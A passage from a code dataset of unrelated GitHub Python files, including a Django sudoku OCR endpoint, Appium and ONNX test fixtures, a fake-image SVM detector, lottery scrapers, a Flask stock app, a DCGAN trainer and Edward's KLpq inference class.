pass\n\n\nclass OcrViewSet(\n mixins.CreateModelMixin,\n viewsets.GenericViewSet,\n):\n \"\"\"ViewSet for api/ocr.\"\"\"\n\n permission_classes = [IsAuthenticated]\n serializer_class = OcrViewSerializer\n\n def create(self, request: Any) -> Response:\n \"\"\"Overwite create method to return Response instead of query db.\"\"\"\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n board = Board()\n board.prepare_img_from_data(request.data[\"puzzle_image\"].read())\n board.ocr_sudoku()\n\n return Response(\n {\"puzzle\": board.board_value, \"error\": \"\"},\n )\n\n def get_queryset(self) -> None:\n \"\"\"Overwrite qet_queryset method to pass instead of return queryset.\"\"\"\n pass\n","repo_name":"klawik-j/sudoku-backend","sub_path":"code/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72675056833","text":"from appium.webdriver.common.appiumby import AppiumBy\nimport appium\nfrom appium import webdriver\nimport pytest\n\nandroid_caps = {\"appium:deviceName\": \"Pixel 6 API 33\",\n \"platformName\": \"Android\",\n \"appium:app\": \"/Users/firuzkhodjaev/PycharmProjects/ipoteka_mobile_autotest/apps/IpotekaBank.apk\",\n \"appium:noReset\": True,\n \"appium:automationName\": \"UiAutomator2\",\n \"appium:ensureWebviewsHavePages\": True,\n \"appium:nativeWebScreenshot\": True,\n \"appium:newCommandTimeout\": 3600,\n \"appium:connectHardwareKeyboard\": True\n }\n\nappium_server_url = 'http://localhost:4723/wd/hub'\n\n\n@pytest.fixture()\ndef mobile_driver():\n driver = appium.webdriver.Remote(appium_server_url, android_caps)\n yield driver\n driver.quit()","repo_name":"FiruzQA/Ipoteka_BSS_MOBILE_AUTO_TEST","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2101112111","text":"import sys\nimput = sys.stdin.readline\n\nT = int(input())\n\nanswer =[]\nfor _ in range(T):\n goldSum = 0\n inputArray = []\n goldArray = []\n n,m = map(int, input().split())\n \n inputArray = list(map(int, input().split()))\n\n for i in range(n):\n goldArray.append(inputArray[m*i:m*i+m])\n\n result = [[0] *(m) for _ in range(n)] \n dx = [-1,0,1]\n \n for i in range(n):\n result[i][0] = goldArray[i][0]\n\n \n for j in range(1,m):\n for i in range(n):\n for idx in range(3):\n nx = i+dx[idx]\n \n if nx <= -1 or nx >= n:\n continue\n\n result[i][j] = max(result[i][j] , (result[nx][j-1] + goldArray[i][j]))\n \n max_gold = 0\n for i in range(n):\n max_gold = max(max_gold , result[i][-1]) \n\n answer.append(max_gold)\n\nfor i in answer:\n print(i)","repo_name":"YuHyeonGeun-KOR/My-Algorithm-Journey","sub_path":"This is cote/Chapter 8. DP/gold(2).py","file_name":"gold(2).py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16895716679","text":"import matlab.engine\nimport numpy as np\nfrom sklearn.svm import OneClassSVM\nimport os\nimport glob\nfrom sklearn.model_selection import GridSearchCV\nimport joblib\nfrom sklearn import metrics\nimport argparse\nimport logging\nimport random\n\nrandom.seed(6666)\neng = matlab.engine.start_matlab()\n\ndef get_color_feat(img_paths):\n '''\n Extract color feature for all the images\n :param img_paths: image paths\n :return: a list of feature\n '''\n all_feats = []\n for path in img_paths:\n if os.path.exists(path):\n feat = eng.gan_img_detection_fea(path)\n all_feats.append(feat)\n else:\n logging.info('this file does not exist. HELP!')\n logging.info(\"The length of all the feat\", len(all_feats))\n return all_feats\n\n\ndef train_CSD_SVM(args):\n '''\n Train a SVM outlier detector using real images\n :param real_img_dir: A directory contains real images\n :param svm_model_path: A path for saving trained model\n :return:\n '''\n train_paths = list(map(lambda x: args.real_img_dir + x, os.listdir(args.real_img_dir)))\n logging.info(\"Training file paths: {}\".format(len(train_paths)))\n train_feat = get_color_feat(train_paths)\n train_feat = np.squeeze(train_feat, axis=1)\n y_true = [1] * np.shape(train_feat)[0]\n # train SVM\n parameters = {'gamma': [0.001, 0.0001, 1 / 588, 0.01, 0.1]}\n svm_model = OneClassSVM(nu=0.1, kernel=\"rbf\")\n clf = GridSearchCV(svm_model, parameters, cv=5, scoring='accuracy')\n clf.fit(train_feat, y_true)\n logging.info(clf.best_estimator_.get_params())\n # save the model\n joblib.dump(clf.best_estimator_, args.svm_model_path)\n logging.info('model saved')\n\n\ndef test_CSD_SVM(args):\n '''\n Test the trained CSD-SVM model\n :param real_img_dir: Directory of real images\n :param fake_img_dir: Directory of fake images\n :param svm_model_path: Trained model\n :return: Detection performance\n '''\n real_paths = list(map(lambda x: args.real_img_dir + x, random.sample(os.listdir(args.real_img_dir), args.num_real)))\n real_feat = get_color_feat(real_paths)\n fake_paths = list(map(lambda x: args.fake_img_dir + x, random.sample(os.listdir(args.fake_img_dir), args.num_fake)))\n fake_feat = get_color_feat(fake_paths)\n\n test_feat = real_feat + fake_feat\n test_label = [1] * len(real_feat) + [-1] * len(fake_feat)\n\n test_feat = np.squeeze(test_feat, axis=1)\n\n svm_model = joblib.load(args.svm_model_path)\n pred_labels = svm_model.predict(test_feat)\n metric_scores = {\n \"accuracy\": metrics.accuracy_score(test_label, pred_labels),\n \"precision\": metrics.precision_score(test_label, pred_labels),\n \"recall\": metrics.recall_score(test_label, pred_labels),\n \"f1_score\": metrics.f1_score(test_label, pred_labels)\n }\n logging.info(\"F1 score\", metric_scores['f1_score'])\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--train_img_dir', default='/rdata/jiameng/DeepLens/alldata/original_imgs/flickr_winter/refer/', help='path to training image dir, which includes real images only')\n parser.add_argument('--real_img_dir', default='/rdata/jiameng/DeepLens/alldata/original_imgs/flickr_winter/real/', help='path to real image dir for testing')\n parser.add_argument('--fake_img_dir', default='/rdata/jiameng/DeepLens/alldata/original_imgs/CycleGAN_winter/fake/', help='path to fake image dir for testing')\n parser.add_argument('--num_real', default=500, help='The number of real images in the test set')\n parser.add_argument('--num_fake', default=500, help='The number of fake images in the test set')\n parser.add_argument('--svm_model_path', default='./winter_example.pkl', help='The path that trained SVM model will be saved')\n args = parser.parse_args()\n logging.basicConfig(filename='./csd_svm.log', filemode='w', level=logging.INFO, format='%(levelname)s:%(message)s')\n train_CSD_SVM(args)\n test_CSD_SVM(args)\n","repo_name":"jmpu/NoiseScope","sub_path":"CSD-SVM/util_CSD_svm.py","file_name":"util_CSD_svm.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"23740023620","text":"import pickle\nimport os.path\n\ndef validar(msj, errmsj, inf, sup):\n valor = int(input(msj))\n if inf <= valor <= sup:\n return valor\n print(errmsj)\n return -1\n\n\ndef section_sort(nros):\n n = len(nros)\n for i in range(n - 1):\n for j in range(i + 1, n):\n if nros[i] > nros[j]:\n nros[j], nros[i] = nros[i], nros[j]\n\n\ndef cargar(nros,fd):\n m = open(fd, \"wb\")\n for i in nros:\n pickle.dump(i, m)\n print(\"Archivo creado...\")\n m.close()\n\n\ndef mostrar(fd):\n m = open(fd, \"rb\")\n t = os.path.getsize(fd)\n k = 0\n print(\"Mostrando numeros sorteados...\")\n while m.tell() < t:\n nro = pickle.load(m)\n print('Numero nro {0} sorteado: {1}'.format(str(k + 1), str(nro)))\n k += 1\n\n\ndef main():\n fd = \"extracto.dat\"\n nros = list()\n ops = -1\n\n while ops != 3:\n print(\"0- Cargar valores\")\n print(\"1- Guardar valores \")\n print(\"2- Mostrar valores\")\n print(\"3- Salir\")\n ops = int(input(\"Elija una opcion: \"))\n if ops == 0:\n while len(nros) < 6:\n n = validar(\"Ingrese los numeros sorteados: \", \"Error. Se pido un numero entre 0 y 36\", inf=0, sup=36)\n if n == -1:\n continue\n nros.append(n)\n section_sort(nros)\n print(nros)\n print()\n elif ops == 1:\n cargar(nros, fd)\n print()\n elif ops == 2:\n mostrar(fd)\n print()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"nahuel89aquino/AEDPracticas_Python","sub_path":"EJERCICIOS_FICHA_22/QUINI6/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13874090849","text":"import sys\nt = int(sys.stdin.readline()) # 테스트 케이스의 개수\n\nfor _ in range(t):\n n = int(sys.stdin.readline()) # 전화번호의 수\n phone = [input().rstrip() for _ in range(n)] # n개 만큼 입력(문자열로)\n phone.sort() # 정렬\n\n print(phone)\n for i in range(n-1):\n length = len(phone[i])\n print(phone[i], phone[i+1][:length])\n if phone[i] == phone[i+1][:length]: # 접두사끼리만 비교\n print('No')\n break\n else:\n print('Yes')","repo_name":"whiskey21/my-algorithm-book","sub_path":"홍익자주동3/1주차_트리/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8032368494","text":"import flask\nimport datetime\nfrom flask import Flask, render_template\nfrom flask_bootstrap import Bootstrap \nfrom StockTwitsDataset import STDataset\nfrom StockTwits_TimeDomainAnalysis import QueryTimeDomainData\nfrom StockTwits_AnalysisCorrelation import AnalysisCorrelation\nimport StockTwits_StockList as STSL\nfrom WebSupport import TempClass\nimport copy\n\n\napp = Flask(__name__)\nBootstrap(app)\n\n@app.route(\"/\",methods=['POST', 'GET'])\ndef firstPage():\n\tcontext = dict()\n\tfun = TempClass()\n\ttop_lists = fun.get_top_lists()\n\tcontext['top_lists'] = top_lists\n\tcontext['topLen'] = len(top_lists['popular'])\n\treturn render_template(\"index.html\", **context)\n\n\n@app.route(\"/stock/symbol/\",methods=['POST', 'GET'])\ndef stock(stock_name):\n\tcontext = dict()\n\tfun = TempClass()\n\ttop_lists = fun.get_top_lists()\n\tdata, time_string_list = fun.get_time_query()\n\tcontext['sentiment'] = str(\"%.2f\"%data[stock_name]['sentiment'][-1])\n\tmessage = fun.get_messages(stock_name, context['sentiment'])\n\tcontext['stock_name'] = stock_name\n\tcontext['total_data'] = data\n\tcontext['close_price'], weekend_index = fun.get_close_price(data, stock_name)\n\tcontext['predict'] = str(\"%.2f\"%fun.get_predict(data, [stock_name])[stock_name]['predict'])\n\tdel time_string_list[weekend_index[0]]\n\tdel time_string_list[weekend_index[1]-1]\n\tpopular_list = data[stock_name]['popular']\n\tdel popular_list[weekend_index[0]]\n\tdel popular_list[weekend_index[1]-1]\n\tsentiment_list = data[stock_name]['sentiment']\n\tdel sentiment_list[weekend_index[0]]\n\tdel sentiment_list[weekend_index[1]-1]\n\tcontext['popular_list'] = popular_list\n\tcontext['sentiment_list'] = sentiment_list\n\tcontext['labels'] = time_string_list\n\tcontext['message'] = message\n\tcontext['top_lists'] = top_lists\n\tcontext['popular'] = str(\"%.2f\"%data[stock_name]['popular'][-1])\n\treturn render_template(\"stock.html\", **context)\n\n\nif __name__ == \"__main__\":\t\n\t# app.debug = True\n\t# app.run(host='0.0.0.0',port=8050)\n\n\tfun = TempClass()\n\tdata, time_string_list = fun.get_time_query()\n\tpredict = fun.get_predict(data, ['X'])\n\t# close_price, weekend_index = fun.get_close_price(data, 'JPM')\n\t# print(data['JPM'])\n\t# print(time_string_list)\n\t# print(weekend_index)\n\t# del time_string_list[weekend_index[0]]\n\t# del time_string_list[weekend_index[1]-1]\n\t# print(time_string_list)\n\t# query_date = \"2017-04-12\"\n\t# get_top_lists()\n\t# get_time_query()\n\t# get_messages('COP', -1)\n\t# data, time_string_list = get_time_query()\n\t# print(data['AAPL'])\n\t# anas = AnalysisCorrelation()\n\t# prediect = anas.analysisStock(data, STSL.ALL_LIST)\n\t# print(prediect['COP']['predict'])\n\t# print(data['COP']['price'])\n\t# close_list = []\n\t# for i in data['COP']['price']:\n\t# \tprint(i)\n\t# \tclose = i['Adj Close']\n\t# \tclose_list.append(close)\n\t# popular_time = get_popular_time(data, time_string_list)\n","repo_name":"Sapphirine/EECS-6895-Stock_Prediction_using_StockTwits_Dataset","sub_path":"testrun.py","file_name":"testrun.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"15764951092","text":"\nfrom lxml import html\nimport requests\nimport time\n\n\n# def get_file(which_file):\n# data_dir = '.\\\\data\\\\' \n# url = 'http://www.calottery.com/sitecore/content/Miscellaneous/download-numbers/?GameName=' + which_file +'&Order=Yes'\n# resp = requests.get(url)\n# with open(data_dir + which_file + '.txt', 'wb') as pbf:\n# pbf.write(resp.content)\n\n\ndef get_file(which_game, ordered='No', fname='newdata'):\n data_dir = '.\\\\data\\\\' \n url = 'http://www.calottery.com/sitecore/content/Miscellaneous/download-numbers/?GameName=' + which_game +'&Order=' + ordered\n resp = requests.get(url)\n with open(data_dir + fname + '.txt', 'wb') as pbf:\n pbf.write(resp.content)\n\n\ndef parse_file(which_file):\n data_dir = '.\\\\data\\\\' \n with open(data_dir + which_file + '.txt', 'rt', encoding='UTF-8') as raw_file:\n lines = raw_file.readlines()\n return lines\n\n\ndef parse_line(line):\n ln_len = len(line[:5].strip())\n ln = int(line[:5])\n dts = line[ln_len+5:ln_len+22]\n dt = time.strptime(dts, '%a. %b %d, %Y') # Sat. Nov 11, 2017\n num_txt = line[ln_len+32:].split(' ')\n nums = []\n for n in num_txt:\n if '' == n or '\\n' == n:\n next\n else:\n nums.append(int(n))\n return [str(str(dt.tm_mon) + '/' + str(dt.tm_mday) + '/' + str(dt.tm_year)), 'game-' + str(ln)] + nums\n\n\ndef mkcsv(fname):\n data_dir = '.\\\\data\\\\'\n hdr_size = -5\n# get_file(game, 'Yes', fname)\n lines = list(reversed(parse_file(fname)))\n with open(data_dir + fname + '.csv', 'wt') as csvfile:\n for line in lines[:hdr_size]:\n csvfile.write(\",\".join(list(map(str, parse_line(line)))))\n csvfile.write(\"\\n\")\n\n\n# fnames = ['powerball', 'mega-millions', 'superlotto-plus']\n# for name in fnames:\n# mkcsv(name)\nfn = {'powerball':'pball', 'mega-millions':'mega', 'superlotto-plus':'sball'}\nfor game,fname in fn.items():\n get_file(game,'Yes',fname)\n mkcsv(fname)","repo_name":"orneryhippo/casting","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37405702508","text":"# sensors_data_uart.py\n\nimport os\nimport struct\nimport time\n\nimport serial\n\nimport recv_test_data\nimport utils\nfrom settings import *\n\n\n# マイコンとの通信をスタートさせるコードを送信\ndef sendStartCode(ser, start_code):\n while True:\n if ser.out_waiting == 0:\n break\n start_code = struct.pack(\"B\", start_code)\n ser.write(start_code)\n ser.flush()\n\n\ndef main():\n # 受信データ格納用\n upper2dec = [[], [], [], [], [], [], [], []]\n lower2dec = [[], [], [], [], [], [], [], []]\n recv_pariry = []\n calc_parity = []\n footer = []\n\n # パリティ計算用\n pickupParity = 0x00FF\n\n # データ保存用\n data = [[], [], [], [], [], [], [], []]\n csv_data = [[], [], [], [], [], [], [], []]\n id_num = -1\n\n # フラグ\n first_receive = True\n\n # データ保存フォルダの設定\n utils.datasetFolderCheck()\n\n # どの指のデータにするか選択する\n while True:\n print(LABEL_NAMES_DICT)\n id_num_str = input('ID > ')\n id_num = int(id_num_str)\n if id_num >= len(LABEL_NAMES) or id_num < 0:\n print('ERROR: input numv is out of index')\n else:\n print('select label is [{}]'.format(LABEL_NAMES[id_num]))\n break\n\n # 通常時\n if not DEBUG:\n # UART通信の初期設定\n # 接続時に\"ls /dev/tty.usb*\"でポート番号をチェックする\n ser = serial.Serial(\n port=\"/dev/tty.usbmodem11403\",\n baudrate=470588,\n )\n\n # 通信開始合図を送信\n sendStartCode(ser, 255)\n\n # 時���計測用\n start_time = time.perf_counter()\n while True:\n # 2sec測定したら終了\n if time.perf_counter() - start_time > DATA_MEASURING_SEC:\n break\n\n if ser.in_waiting > 0:\n # 計算したパリティ用\n calc_parity_temp = 0\n\n # 先頭データを受信した時間を記録\n if first_receive:\n os.system('tput bel')\n print('< start measurement >')\n first_receive = False\n start_time = time.perf_counter()\n\n # データを受信\n recv_data = ser.read(1)\n recv_data_val = struct.unpack_from(\"B\", recv_data, 0)[0]\n\n # データのヘッダを検知\n if recv_data_val == 254:\n # データの個数を取得、バイナリから変換\n data_num = ser.read(1)\n data_num = struct.unpack_from(\"B\", data_num, 0)[0]\n\n # データの取得とパリティの準備\n for i in range(data_num):\n upper_temp = ser.read(1)\n lower_temp = ser.read(1)\n upper_temp_val = struct.unpack_from(\"B\", upper_temp, 0)[0]\n lower_temp_val = struct.unpack_from(\"B\", lower_temp, 0)[0]\n upper2dec[i].append(upper_temp_val)\n lower2dec[i].append(lower_temp_val)\n calc_parity_temp = calc_parity_temp + upper_temp_val + lower_temp_val\n calc_parity.append(calc_parity_temp & pickupParity)\n\n # パリティの取得\n recv_parity_temp = ser.read(1)\n recv_parity_temp = struct.unpack_from(\"B\", recv_parity_temp, 0)[0]\n recv_pariry.append(recv_parity_temp)\n\n # フッタの取得\n footer_temp = ser.read(1)\n footer_temp = struct.unpack_from(\"B\", footer_temp, 0)[0]\n footer.append(footer_temp)\n\n # デバッグ時\n if DEBUG:\n upper2hex, lower2hex, recv_pariry, footer = recv_test_data.test()\n\n # パリティを計算\n for i in range(len(footer)):\n # パリティが違っていればエラーデータとしてデータを全て捨てる\n if (calc_parity[i] != recv_pariry[i] or footer[i] != 255):\n print('ERROR: broken data\\n')\n return -1\n\n # データを復元してリストへ追加\n for i in range(len(upper2dec)):\n for j in range(len(upper2dec[i])):\n # データの最大長より超えるデータは捨てる\n if j >= MAX_DATA_LENGTH:\n break\n\n sensor_data = upper2dec[i][j] * 100 + lower2dec[i][j]\n sensor_data = 3.3 * sensor_data / 4096\n csv_data[i].append(str(sensor_data) + '\\n')\n data[i].append(sensor_data)\n\n # データの長さが足りない or データが長すぎる場合は捨てる\n if not len(data[i]) == MAX_DATA_LENGTH:\n print('ERROR: save data length({}) is not equal MAX_DATA_LENGTH({})'.format(len(data[i]), MAX_DATA_LENGTH))\n return -1\n\n # データの書き込み\n for ch in range(len(csv_data)):\n class_name = LABEL_NAMES[id_num]\n ch_name = 'ch' + str(ch)\n folder_path = os.path.join(DATASET_FOLDER, class_name, ch_name)\n file_name = utils.setFilePath(folder_path)\n utils.outputCsvFile(file_name, csv_data[ch])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"khiratsuka/Finger-Multi-EMG-Measurement-Master","sub_path":"eight_sensors_data_uart.py","file_name":"eight_sensors_data_uart.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15889863869","text":"from tempfile import NamedTemporaryFile\nfrom unittest import TestCase\n\nimport tensorflow as tf\nimport onnx\nimport pytest\n\nimport model_compiler.compilers.tf_model_to_tf_frozen_graph_model as tf_model_compiler\nimport model_compiler.compilers.tf_frozen_graph_model_to_onnx_model as frozen_graph_compiler\nimport model_compiler.compilers.onnx_model_file_to_enflame_model as compiler \\\n # pylint: disable=no-name-in-module\n\nfrom model_compiler.compilers.onnx_model_file_to_enflame_model import Config, DataFormat \\\n # pylint: disable=no-name-in-module\nfrom model_compiler.models.irs.tf_model import Input, TensorFlowModel\nfrom model_compiler.models.sources.onnx_model_file import ONNXModelFile\n\n\ndef _make_onnx_model():\n with tf.Graph().as_default(), tf.compat.v1.Session().as_default() as session:\n input_x = tf.compat.v1.placeholder(dtype=tf.float32, shape=[3, 4], name='x')\n weight = tf.Variable(initial_value=4.2, dtype=tf.float32)\n output_z = tf.multiply(input_x, weight, name='z')\n\n session.run(weight.initializer)\n\n frozen_graph_model = tf_model_compiler.compile_source(\n source=TensorFlowModel(inputs=[Input(tensor=input_x)],\n outputs=[output_z],\n session=session)\n )\n return frozen_graph_compiler.compile_source(frozen_graph_model)\n\n\n@pytest.mark.dtu_test\nclass ConfigTestCase(TestCase):\n def test_from_json(self):\n self.assertEqual(Config.from_json({'input_formats': ['channels_first']}),\n Config(input_formats=[DataFormat.CHANNELS_FIRST]))\n\n def test_from_env(self):\n self.assertEqual(Config.from_env({'INPUT_FORMATS': 'channels_first'}),\n Config(input_formats=[DataFormat.CHANNELS_FIRST]))\n\n\n@pytest.mark.dtu_test\nclass CompileSourceTestCase(TestCase):\n def test_compile_with_variables(self):\n with NamedTemporaryFile(suffix='.onnx') as model_file:\n onnx.save_model(_make_onnx_model().model_proto, model_file.name)\n\n config = Config.from_json({'input_formats': ['channels_first']})\n compiled = compiler.compile_source(source=ONNXModelFile(model_file.name), config=config)\n\n self.assertEqual([model_input.name for model_input in compiled.model_inputs], ['x:0'])\n self.assertEqual(compiled.input_formats, [DataFormat.CHANNELS_FIRST])\n","repo_name":"Adlik/Adlik","sub_path":"model_compiler/tests/model_compiler/compilers/test_onnx_model_file_to_enflame_model.py","file_name":"test_onnx_model_file_to_enflame_model.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":702,"dataset":"github-code","pt":"61"} +{"seq_id":"24381233545","text":"from PySide6 import QtGui\n\nfrom .resources import data_dir\n\n\ndef get_icon_font() -> QtGui.QFont:\n # Setup font for icons\n font_file = data_dir/\"fonts/Font Awesome 5 Free-Solid-900.otf\"\n font_db = QtGui.QFontDatabase()\n font_id = font_db.addApplicationFont(str(font_file))\n font_family = font_db.applicationFontFamilies(font_id)\n icon_font = QtGui.QFont(font_family)\n icon_font.setHintingPreference(\n QtGui.QFont.HintingPreference.PreferNoHinting)\n icon_font.setPixelSize(16)\n\n return icon_font\n\n\nicon_font = get_icon_font()\n","repo_name":"JuneStepp/OneLauncher","sub_path":"src/onelauncher/ui_resources.py","file_name":"ui_resources.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"61"} +{"seq_id":"16906291196","text":"import torch\nimport torch.optim as optim\nimport torch.utils.data as data\n\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\n\nfrom model import Generator, Discriminator\nfrom loss import GANLoss\nfrom utils.misc import load_model, save_model\n\ndef run():\n # Dataset\n transform = transforms.Compose([\n transforms.Resize(64),\n transforms.ToTensor(),\n transforms.Normalize((0.5,), (0.5,))\n ])\n\n dataset = datasets.MNIST('.', transform=transform, download=True)\n dataloader = data.DataLoader(dataset, batch_size=4)\n print(\"[INFO] Define DataLoader\")\n\n # Define Model\n g = Generator()\n d = Discriminator()\n print(\"[INFO] Define Model\")\n\n # optimizer, loss\n gan_loss = GANLoss()\n\n optim_G = optim.Adam(g.parameters(), lr=0.0002, betas=(0.5, 0.999))\n optim_D = optim.Adam(d.parameters(), lr=0.0002, betas=(0.5, 0.999))\n print('[INFO] Define optimizer and loss')\n\n # train\n num_epoch = 2\n\n print('[INFO] Start Training!!')\n for epoch in range(num_epoch):\n total_batch = len(dataloader)\n\n for idx, (image, _) in enumerate(dataloader):\n d.train()\n g.train()\n\n # fake image 생성\n noise = torch.randn(4, 100, 1, 1)\n output_fake = g(noise)\n\n # Loss\n\n d_loss_fake = gan_loss(d(output_fake.detach()), False)\n d_loss_real = gan_loss(d(image), True)\n d_loss = (d_loss_fake + d_loss_real) / 2\n\n g_loss = gan_loss(d(output_fake), True)\n\n # update\n optim_G.zero_grad()\n g_loss.backward()\n optim_G.step()\n\n optim_D.zero_grad()\n d_loss.backward()\n optim_D.step()\n\n if ((epoch * total_batch) + idx) % 1000 == 0:\n print('Epoch [%d/%d], Iter [%d/%d], D_loss: %.4f, G_loss: %.4f'\n % (epoch, num_epoch, idx + 1, total_batch, d_loss.item(), g_loss.item()))\n\n save_model('model', 'GAN', g, {'loss': g_loss.item()})\n\nif __name__ == '__main__':\n run()","repo_name":"wjy5446/DCGAN_pytorch","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16932279155","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport six\nimport tensorflow as tf\n\nfrom edward.inferences.variational_inference import VariationalInference\nfrom edward.models import RandomVariable\nfrom edward.util import copy, get_descendants\n\ntry:\n from edward.models import Normal\nexcept Exception as e:\n raise ImportError(\"{0}. Your TensorFlow version is not supported.\".format(e))\n\n\nclass KLpq(VariationalInference):\n \"\"\"Variational inference with the KL divergence\n\n $\\\\text{KL}( p(z \\mid x) \\| q(z) ).$\n\n To perform the optimization, this class uses a technique from\n adaptive importance sampling [@oh1992adaptive].\n\n #### Notes\n\n `KLpq` also optimizes any model parameters $p(z\\mid x;\n \\\\theta)$. It does this by variational EM, maximizing\n\n $\\mathbb{E}_{p(z \\mid x; \\lambda)} [ \\log p(x, z; \\\\theta) ]$\n\n with respect to $\\\\theta$.\n\n In conditional inference, we infer $z` in $p(z, \\\\beta\n \\mid x)$ while fixing inference over $\\\\beta$ using another\n distribution $q(\\\\beta)$. During gradient calculation, instead\n of using the model's density\n\n $\\log p(x, z^{(s)}), z^{(s)} \\sim q(z; \\lambda),$\n\n for each sample $s=1,\\ldots,S$, `KLpq` uses\n\n $\\log p(x, z^{(s)}, \\\\beta^{(s)}),$\n\n where $z^{(s)} \\sim q(z; \\lambda)$ and$\\\\beta^{(s)}\n \\sim q(\\\\beta)$.\n\n The objective function also adds to itself a summation over all\n tensors in the `REGULARIZATION_LOSSES` collection.\n \"\"\"\n def __init__(self, latent_vars=None, data=None):\n \"\"\"Create an inference algorithm.\n\n Args:\n latent_vars: list of RandomVariable or\n dict of RandomVariable to RandomVariable.\n Collection of random variables to perform inference on. If\n list, each random variable will be implictly optimized using a\n `Normal` random variable that is defined internally with a\n free parameter per location and scale and is initialized using\n standard normal draws. The random variables to approximate\n must be continuous.\n \"\"\"\n if isinstance(latent_vars, list):\n with tf.variable_scope(None, default_name=\"posterior\"):\n latent_vars_dict = {}\n continuous = \\\n ('01', 'nonnegative', 'simplex', 'real', 'multivariate_real')\n for z in latent_vars:\n if not hasattr(z, 'support') or z.support not in continuous:\n raise AttributeError(\n \"Random variable {} is not continuous or a random \"\n \"variable with supported continuous support.\".format(z))\n batch_event_shape = z.batch_shape.concatenate(z.event_shape)\n loc = tf.Variable(tf.random_normal(batch_event_shape))\n scale = tf.nn.softplus(\n tf.Variable(tf.random_normal(batch_event_shape)))\n latent_vars_dict[z] = Normal(loc=loc, scale=scale)\n latent_vars = latent_vars_dict\n del latent_vars_dict\n\n super(KLpq, self).__init__(latent_vars, data)\n\n def initialize(self, n_samples=1, *args, **kwargs):\n \"\"\"Initialize inference algorithm. It initializes hyperparameters\n and builds ops for the algorithm's computation graph.\n\n Args:\n n_samples: int.\n Number of samples from variational model for calculating\n stochastic gradients.\n \"\"\"\n if n_samples <= 0:\n raise ValueError(\n \"n_samples should be greater than zero: {}\".format(n_samples))\n self.n_samples = n_samples\n return super(KLpq, self).initialize(*args, **kwargs)\n\n def build_loss_and_gradients(self, var_list):\n \"\"\"Build loss function\n\n $\\\\text{KL}( p(z \\mid x) \\| q(z) )\n = \\mathbb{E}_{p(z \\mid x)} [ \\log p(z \\mid x) - \\log q(z; \\lambda) ]$\n\n and stochastic gradients based on importance sampling.\n\n The loss function can be estimated as\n\n $\\sum_{s=1}^S [\n w_{\\\\text{norm}}(z^s; \\lambda) (\\log p(x, z^s) - \\log q(z^s; \\lambda) ],$\n\n where for $z^s \\sim q(z; \\lambda)$,\n\n $w_{\\\\text{norm}}(z^s; \\lambda) =\n w(z^s; \\lambda) / \\sum_{s=1}^S w(z^s; \\lambda)$\n\n normalizes the importance weights, $w(z^s; \\lambda) = p(x,\n z^s) / q(z^s; \\lambda)$.\n\n This provides a gradient,\n\n $- \\sum_{s=1}^S [\n w_{\\\\text{norm}}(z^s; \\lambda) \\\\nabla_{\\lambda} \\log q(z^s; \\lambda) ].$\n \"\"\"\n p_log_prob = [0.0] * self.n_samples\n q_log_prob = [0.0] * self.n_samples\n base_scope = tf.get_default_graph().unique_name(\"inference\") + '/'\n for s in range(self.n_samples):\n # Form dictionary in order to replace conditioning on prior or\n # observed variable with conditioning on a specific value.\n scope = base_scope + tf.get_default_graph().unique_name(\"sample\")\n dict_swap = {}\n for x, qx in six.iteritems(self.data):\n if isinstance(x, RandomVariable):\n if isinstance(qx, RandomVariable):\n qx_copy = copy(qx, scope=scope)\n dict_swap[x] = qx_copy.value()\n else:\n dict_swap[x] = qx\n\n for z, qz in six.iteritems(self.latent_vars):\n # Copy q(z) to obtain new set of posterior samples.\n qz_copy = copy(qz, scope=scope)\n dict_swap[z] = qz_copy.value()\n q_log_prob[s] += tf.reduce_sum(\n qz_copy.log_prob(tf.stop_gradient(dict_swap[z])))\n\n for z in six.iterkeys(self.latent_vars):\n z_copy = copy(z, dict_swap, scope=scope)\n p_log_prob[s] += tf.reduce_sum(z_copy.log_prob(dict_swap[z]))\n\n for x in six.iterkeys(self.data):\n if isinstance(x, RandomVariable):\n x_copy = copy(x, dict_swap, scope=scope)\n p_log_prob[s] += tf.reduce_sum(x_copy.log_prob(dict_swap[x]))\n\n p_log_prob = tf.stack(p_log_prob)\n q_log_prob = tf.stack(q_log_prob)\n reg_penalty = tf.reduce_sum(tf.losses.get_regularization_losses())\n\n if self.logging:\n tf.summary.scalar(\"loss/p_log_prob\", tf.reduce_mean(p_log_prob),\n collections=[self._summary_key])\n 